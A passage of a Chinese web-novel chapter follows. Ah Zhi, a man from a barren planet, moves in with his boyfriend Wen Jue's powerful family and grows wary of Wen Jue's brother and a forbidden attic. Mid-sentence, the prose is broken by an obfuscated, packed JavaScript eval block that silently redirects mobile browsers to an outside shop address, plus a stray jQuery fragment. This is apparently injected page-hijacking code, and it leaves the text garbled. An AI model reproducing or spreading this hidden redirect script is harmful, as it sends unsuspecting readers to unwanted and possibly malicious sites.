他又故技重施,摇着我的手臂软声道:“阿止哥哥,你也不是没有一点感觉的吧。为什么非要拒我与千里之外呢。”
我深呼吸一口气,鼓起勇气道:“但我们不是一个世界的人,你不应该把时间浪费在我身上,何况你的家人……”
温珏笑着打断了他,依旧是漫不经心地语气:“如果是因为这个理由的话,那可不成立哦。”
我等着他的下文。
温珏狡黠地笑:“我的父母都在银河旅行,他们不常回家,更不会干涉我的任何选择,或者说,他们巴不得我早点找个人呢。我家里目前只有一个人,那就是我哥,他那个人……”
温珏认真地思考了一会儿,似乎想起了某些不忍直视的回忆,皱起了眉头,但又很快松开,他重新捉住我的手,继续说:“总之,我哥他是个铁血无情的家伙,压根不关心这些情情爱爱的事情,我可以向你保证,他绝对不会干涉我们的关系。”
话是这么说,但我从温珏的神情姿态中能看出来,他哥哥并非什么好脾气的人。更何况,依据这几天温珏和驾驶员的对话,我也能大致猜出来,温珏的哥哥一手操持整个温家,他并非那种混吃等死的纨绔子弟,恐怕对我这种疑似“攀高枝”的人会更加看不起。
温珏见我迟迟不说话,又眼巴巴地望着我,眼神里带着潮湿的雾气,这幅模样实在像极了我从前捡到过的一只哈士奇。
我本就不怎么坚定的内心再度被动摇了。
我心里有道声音,在催促我遵从本心。我已经在荒星里孤独地待了很多年,温珏是我遇见的第一抹亮色。我不想因为任何理由和他疏远,何况……何况他看起来那么喜欢我。
于是我轻轻地点了头,温珏看起来快要高兴疯了,嘴角的弧度根本压不住。
我的心里也不免升腾起一股欢喜来,好像自己是真正被珍视着的宝物。
自从我点头以后,温珏就几乎成了我身上的挂件,时时刻刻都要粘着我,好在驾驶员没有对此表现出任何的惊讶,甚至贴心地尽量不在我们面前出现。
.
这是一间装潢漂亮的城堡,四面是尖耸的穹顶,白金的配色透露出缥缈而神圣的美感。
这里是灯塔星温家的地盘。
我紧张得直冒冷汗,尽管温珏在带我来这里之前再三和我保证,他的兄长温宿弦,的的确确脾气温和,绝不会对我的出身有任何歧视。
但我依然觉得寝食难安。
温宿弦是这一代温家的掌门人,而温珏则是他“不成器”的弟弟,即便温珏的名声不算好,但和我这种荒星出生的人相比,也仍旧是我不可企及的存在。
像我这样平凡的人,能跟温珏交往,连我也觉得不可思议。
从飞船上下来时,温珏好似睡意未消,揉了揉惺忪的睡意,他牵着我的手,走进了这片繁华地界。
我终于见到了一直活在传言之中的温宿弦。
那是一个金发青年,他的半张脸被被阳光镀上一层金边,俊美的脸庞看起来不近人情,我觉得这是一种很有攻击力和距离感的长相。
如果我在大街上遇见温宿弦,恐怕不敢与他对视超过一秒钟,就会飞快地收回视线。
但这是温珏的家里,他是温珏同父异母的哥哥,我只有硬着头皮应对了。
温珏紧紧搂着我,他语气自然地向温宿弦介绍我:“哥,这是阿止,我的男朋友,这段时间他都会和我住在一起,哥你应该不会介意吧?”
温宿弦的眼神终于落在了我身上,他好像在看我,又好像谁也没瞧进眼里。
但温宿弦的这种态度属实让我松了一口气,他不在意我就再好不过了,总比要我时刻承受着他这种迫人的威慑力要好得多。
温宿弦显然不在意我这颗籍籍无名的小草,只是对温珏说道:“他不能上二楼。”
我看了看温珏,又看了一下温宿弦,主动说:“温先生,我不会擅自乱闯的……”
温宿弦一定很不喜欢我,我对这一点深信不疑。
温宿弦这才看向我,不知是不是我的错觉,他的眼神似乎在我的手背上停留了一阵,仿佛看见了什么本不应该存在于我身上的东西。
我下意识地顺着他的眼神看去,那是一道红色的胎记,打从我记事起就有的,一直烙印在我手背上。
胎记的形状很奇怪,像一枚碎裂的梅花,我一直觉得这颗胎记十足丑陋,在温宿弦的注视下,只想把手藏起来,又觉得这个动作实在失礼,只好硬生生忍住了。
好在温宿弦的目光没有停留太久,短短几十秒,我却觉得好像过了一个世纪。
我怀疑这也许是温宿弦试探我的一环,毕竟我怎么看都像是一个别有用心的人。
温珏完全没有注意到这个小插曲,他点开手环,对我说了句失陪就去接他朋友们的电话了,他拉着我的袖子冲我歉意一笑,揉了揉我的头发:“阿止,我得去参加一个聚会,暂时不能陪你了。”
说完,温珏又看向温宿弦,开玩笑似地随口说道:“哥,阿止就先拜托给你了。”
他似乎真的很急,丢下这话就头也不回地走了。
我被迫和温宿弦独处,实在招架不住这种紧张严肃的氛围,也告辞道:“温先生,我先出去了……”
我只想本本分分地扮演一只鹌鹑从这里离开,但温宿弦喊住了我,我不解其意地回头,看见温宿弦蓝宝石一般的眼睛微微发亮,他勾起唇角,冲我笑了了一下。
这副画面的冲击力实在太大,美色当前,我的脑子也晕晕乎乎的,但我的第一反应却是害怕,我该不会是得罪他了?
这一瞬间我脑子里闪过无数念头,无非是我以前在年纪还小时看见过的光脑里存储着的恶俗影视剧里,什么某人一笑,别人就要倒霉了之类的……
然而我想象中温宿弦给我使绊子的画面并没有发生,他没头没尾地喊了我一句:“阿止……”
我起了一身鸡皮疙瘩,竟然从他的声音里听出了一点温柔款款的意味
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870402|211801||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
温宿弦温柔地垂下眼睫看我:“我可以这样喊你吗?这样听起来比较亲近。”
虽然话是这么说没错,可我,我思考了一会,没能找到拒绝他的理由,勉为其难道:“温先生随意就好。”
温宿弦实在是一个很健谈的人,我只负责默默听着就好了。
温宿弦问我是怎么和温珏认识的,我一五一十的说了,温宿弦听的很认真,他的神态让人有被倾听的错觉。
温宿弦听完了我们的故事,对我说:“你暂时住在我们家里吧,但是有一件事我要提醒你,三楼的阁楼你不能进。”
毕竟是借住在别人家里,我当然要遵守规矩的自觉,二话没说就答应下来:“温先生你放心,我不会在屋里乱走动的。”
温宿弦露出满意的笑容,不再和我攀谈。
这些天温珏都没有回来,我每天在城堡里的一亩3分地内待着,从来不敢跨出那条红线一步。
但温珏不在,我每天只能和他那个压迫感十足的哥哥两两相对。
这观感十分复杂。
原本我是打定了主意,绝对不会上3楼去看那座阁楼的,但是一连几天夜里,我总是会听见楼上传来神秘的声音。
那种声音难以言喻,并不是搬动杂物之类的正常声音,而是一种……
我很难形容,就像是……
我思索了半天,实在找不到一个合适的形容词。
直到几天后,我翻到了书房里的童话故事,传说古时候海上有一种名为塞壬的海妖,会在乘客的游船驶过的时候,唱着焕然心弦的歌曲,那种声音比世界上任何一种音乐都要美妙,能够蛊惑人心,迷惑船客在无意识的情况下跳向海里。
我终于知道了阁楼上的声音给我的感觉,就和这种海妖的乐声类似。
我心里一直有一个声音在说,不能坐以待毙。
可是我又亲口答应了温宿弦不会上阁楼去的。
两种声音在我内心打架。
更重要的是,我心里有个念头,也是3楼的阁楼有人……或者说,不是人,是某种非人生物。
但是假如我真的上去了,打开了那扇门,我能够承担得了打开潘多拉魔盒的代价吗?
温家这样的势力,并不是我能得罪得起的。
何况温珏迟迟不回来,我甚至担心他是出了什么意外。
我私下联系过温珏几次,但都无果而终。
时间长了,我在温家住得提心吊胆,不敢有丝毫差错,连呼吸都不敢用力。
我开始觉得温宿弦给我的感觉很诡异,可我不敢问他温珏的下落。
我说不出理由来,就是本能地觉得戒备。
我在饭桌上,试探性地问过温宿弦:“温先生,我能出门逛逛吗?”
温宿弦说:“外面很危险,随时都有星盗出没,我们没办法时刻保护你。”
他拒绝了,不出所料,给的理由也挑不出任何瑕疵。任谁来看,这都是为了我好。